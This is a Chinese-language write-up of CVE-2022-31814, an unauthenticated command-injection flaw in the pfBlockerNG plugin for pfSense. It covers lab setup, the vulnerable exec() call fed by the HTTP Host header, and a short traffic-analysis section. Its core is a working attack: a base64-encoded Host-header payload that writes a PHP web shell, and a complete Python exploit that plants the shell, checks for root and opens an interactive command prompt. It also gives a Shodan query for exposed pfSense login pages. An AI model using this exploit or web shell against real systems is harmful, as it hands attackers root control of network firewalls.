前言
pfBlockerNG是一个默认未安装的 pfSense 插件,它通常用于阻止来自整个国家或 IP 范围的入站连接。在pfBlockerNG <= 2.1.4_26中发现了一个远程命令执行漏洞(CVE-2022-31814),该漏洞存在于用于记录和查询 DNSBL 数据的文件 /usr/local/www/pfblockerng/www/index.php中,使用 PHP 函数exec()作为查询代码,将不受信任的数据传递到命令中,用户可以构造HTTP请求的HOST字段来触发远程命令执行。
受影响实体
pfSense是一个基于FreeBSD操作系统开发的防火墙和路由器软件;
FreeBSD 是一种类UNIX操作系统;
pfBlockerNG是一个pfSense的插件(默认不安装),提供了广告、恶意内容和地理拦截功能。
受影响版本
- pfSense 2.6.0
- pfBlockerNG<=2.1.4_26
一、环境搭建
1.从pfSense下载iso 2.6.0版本镜像文件。下载地址:Download pfSense Community Edition
2.新建虚拟机,选择FreeBSDm,添加第二网卡(因为配置防火墙需要两个网卡),导入下载好的镜像文件。
接收协议
之后一路默认,在选择文件系统时,选UFS文件系统格式。
之后一路OK,最后Reboot重启。
3.将WAN口映射到eth0,LAN口映射到eth1,然后根据提示配置IP地址、子网掩码、网关I,IPV6可以不用管。
配置好后LAN口为web访问地址
4.访问web主页,默认登录名密码为:admin/pfsense
5.进入主页,添加pfBlockerNG插件,插件版本只有3.2.0_4,先安装。
漏洞存在的插件版本是2.1.4_26,github上找到相应版本的集合包的zip格式并下载。
下载地址:pfsense/FreeBSD-ports: FreeBSD ports tree with pfSense changes (github.com)
将压缩包中的pfBlockerNG的index.php文件解压,因为漏洞触发点只在该文件中,所以不用全部解压。
6.将index.php上传到防火墙中。上传成功后会返回路径。
7.打开命令行,使新上传的文件覆盖之前的文件
mv /tmp/index.php /usr/local/www/pfblockerng/www/index.php
至此环境部署完毕
二、漏洞触发点原理分析
漏洞触发点:
//index.php
// Query DNSBL Alias for Domain List.
$query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST']));
exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);
在查询域名列表的DNSBL别名时,以$_SERVER['HTTP_HOST']参数对用户输入进行获取,由于未对用户输入进行限制,导致输入的所有内容都可以传入exec()函数。并执行系统命令:/usr/bin/grep -l ' "[用户可控] 60 IN A' /var/db/pfblockerng/dnsblalias/*
/usr/bin/grep [可选参数] ‘要匹配的字符串’ ‘文件路径’
上述命令实现了在/var/db/pfblockerng/dnsblalias/目录中匹配用户输入,并输入匹配的文件名。
替换上述命令中的用户可控内容,使用分号拼接命令。
默认情况下,pfsense没有安装“base64-d”二进制文件, 但python3.8安装了,因此可以编写和解码base64有效载荷,并将所有内容传输到php-cli二进制文件中。
/usr/bin/grep -l ' "' * ; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBlY2hvKGV4ZWMoJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSgkYSk7Pz4=' | python3.8 -m base64 -d | php ; ' 60 IN A' /var/db/pfblockerng/dnsblalias/*
#将php代码通过base64编码,然后使用python3.8解码,后通过管道传输到php中执行
编码前php代码:
echo <?$a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t='<?php print(passthru( $_GET["c"]));?>';fwrite($a,$t);fclose( $a);?>
#在 /usr/local/www/system_advanced_control.php 中创建一个shell文件,并将$t参数写入该文件
passthru()函数实现与python脚本交互:
php端:
$path="python 脚本绝对路径/脚本文件名.py "; //注意:末尾要加一个空格,否则传参失败
$params = "要传入python脚本的参数"; //传递给python脚本的入口参数
passthru($path.$params." ".$params2);
python端:
import sys
params = sys.argv[1] #即为获取到的PHP传入python的接口参数
构造Host请求头,在请求头中拼接创建shell文件system_advanced_control.php的命令。上传并调用shell文件,执行系统命令“id“用于验证漏洞是否存在。
三、exp验证
exp来源:pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE) - PHP webapps Exploit
# Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)
# Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22
# Date: 5th of September 2022
# Exploit Author: IHTeam
# Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
# Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169
# Version: 2.1.4_26
# Tested on: pfSense 2.6.0
# CVE : CVE-2022-31814
# Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
#!/usr/bin/env python3
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
args = parser.parse_args()
url = args.url
shell_filename = "system_advanced_control.php"
def check_endpoint(url):
response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
if response.status_code == 200:
print("[+] pfBlockerNG is installed")
else:
print("\n[-] pfBlockerNG not installed")
sys.exit()
def upload_shell(url, shell_filename):
payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
print("[/] Uploading shell...")
response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
time.sleep(2)
response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
print("[+] Upload succeeded")
else:
print("\n[-] Error uploading shell. Probably patched ", response.content)
sys.exit()
def interactive_shell(url, shell_filename, cmd):
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
print(str(response.text)+"\n")
def delete_shell(url, shell_filename):
delcmd = "rm /usr/local/www/system_advanced_control.php"
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
print("\n[+] Shell deleted")
check_endpoint(url)
upload_shell(url, shell_filename)
try:
while True:
cmd = input("# ")
interactive_shell(url, shell_filename, cmd)
except:
delete_shell(url, shell_filename)
具体细节可根据个人需求调整。
运行方法:python poc.py --url “目标地址”
若目标执行成功会显示目标存在漏洞,并反弹shell,输入要执行的命令后显示返回结果。执行完成后会删除上传的shell文件。
四、攻击流量分析
在poc脚本运行时,使用wireshark抓包。方法:tcpdump -i eth0 -w xxx.pcap
可以看出该漏洞poc的流量特征为:HTTP GET请求的HOST字段包含查询内容,查询方法为:‘语句1;语句2;语句3’,可使用分号将命令拼接到查询内容中执行。
总结
本文简单介绍了CVE-2022-31814的原理、环境搭建及简单利用。在网络配置中可能会遇到问题,本着“生活就是解决各种疑难杂症”的思想,任何问题都能一一解决。